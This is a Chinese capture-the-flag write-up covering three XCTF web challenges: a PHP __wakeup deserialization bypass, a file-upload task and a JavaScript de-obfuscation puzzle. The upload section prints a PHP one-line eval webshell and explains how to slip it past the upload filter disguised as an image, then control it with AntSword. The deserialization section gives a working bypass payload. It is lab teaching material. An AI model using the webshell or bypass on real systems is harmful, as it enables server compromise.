攻防世界web进阶

简介: 攻防世界web进阶

unserialize3


知识点:反序列化漏洞,wakeup魔法函数


php
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
?>

先对代码补全然后进行审计。


class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$a = new xctf();           //使用new运算符来实例化该类(xctf)的对象为a
echo(serialize($a));       //输出被序列化的对象(a)

然后将代码放到vscode跑一下

6447575881bc369b6cfaef5db12c0602_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png
但是我们还需要绕过weakup函数 否则就会输出bad requesets

//wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数:

将真实值由1修改为2 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

ed35d4d5dcc86413baf7a7bb1ed0ba37_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

得到flag


upload1


56506cd433aeb28c7cc0aeeef10c6437_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

这是一道常见的文件上传题,解题思路就是将一句话木马以图片形式上传,再抓包修改为php格式,然后放包,再用蚁剑链接即可。 <?php @eval($_POST['a']);?> 这是最常见的一句话木马,创建新文档,先用txt 然后改为jpg

1926b7e5604fe19f9201cf99d5eb87f3_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

然后用蚁剑连接

 

1859ae9e61c60612a5e8caf614835bc1_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

连接成功,进入文件找flag

794dc683a618df8c96ff102872fde709_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


NaNNaNNaNNaN-Batman


这道题打开只有一个附件,下载后打开 发现是一堆乱码


<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}
na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}}\'<input id="c">< onclick=$()>Ok</>\');delete _var
 ","docu.)match(/"];/)!
=null=["write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($
[Y]))_=join(pop());eval(_)</script>

这是一个html代码,然后文档后缀改为html

fe9779fbf7f0cc84fb0bfaa7a47c9a88_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

发现只有一个搜索框,我们试试将eval输出函数改为alert弹框函数,以便审计代码。

0b3ede43b4adebc7638f031e887b286f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以被打开,但是代码还是很乱,找到一个在线美化代码的网站试试将代码恢复

a5a32dfc817d5e35bc50a05290e28d91_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


这里有两种方法可以得到flag


一、e需要满足长度16,开头be023,之后跟233ac,c7be9,e98aa 优化因为长度只有16,优化一下be0233ac7be98aa 直接到搜索框输入就可以得到flag。

二、直接跑代码

var t = ["fl", "sa", "i", "e}"]; 
var n = ["a", "h0l", "n"];
 var r = ["g{", "e", "0"]; 
var i = ["it'", "", "n"]; 
var s = [t, n, r, i]; 
for (var o = 0; o < 13; ++o)
      document.write(s[o % 4][0])

将这段代码放到火狐的控制台也可得到flag

相关文章
|
1月前
|
安全
网易web安全工程师进阶版课程
《Web安全工程师(进阶)》是由“ i春秋学院联合网易安全部”出品,资深讲师团队通过精炼的教学内容、丰富的实际场景及综合项目实战,帮助学员纵向提升技能,横向拓宽视野,牢靠掌握Web安全工程师核心知识,成为安全领域高精尖人才。 ## 学习地址
23 6
网易web安全工程师进阶版课程
|
6月前
|
JavaScript 前端开发 API
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(六)
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(六)
67 0
|
6月前
|
JavaScript 前端开发 算法
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(七)放大镜实战
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(七)放大镜实战
58 0
|
6月前
|
存储 JavaScript 前端开发
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(五)
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(五)
28 0
|
6月前
|
JavaScript 前端开发 API
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(四)
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(四)
32 0
|
6月前
|
JavaScript 前端开发 API
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(三)
前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(三)
69 0
|
2月前
|
前端开发 Java 应用服务中间件
【JavaEE进阶】 初识Spring Web MVC
【JavaEE进阶】 初识Spring Web MVC
|
3月前
|
SQL 前端开发 Java
《CTF攻防世界web题》之茶壶我爱你(2)
《CTF攻防世界web题》之茶壶我爱你(2)
26 0
|
3月前
|
前端开发 Java 计算机视觉
《CTF攻防世界web题》之我什么都不会(1)
《CTF攻防世界web题》之我什么都不会(1)
31 0
|
4月前
|
存储 搜索推荐 PHP
攻防世界 初识web
攻防世界 初识web
32 0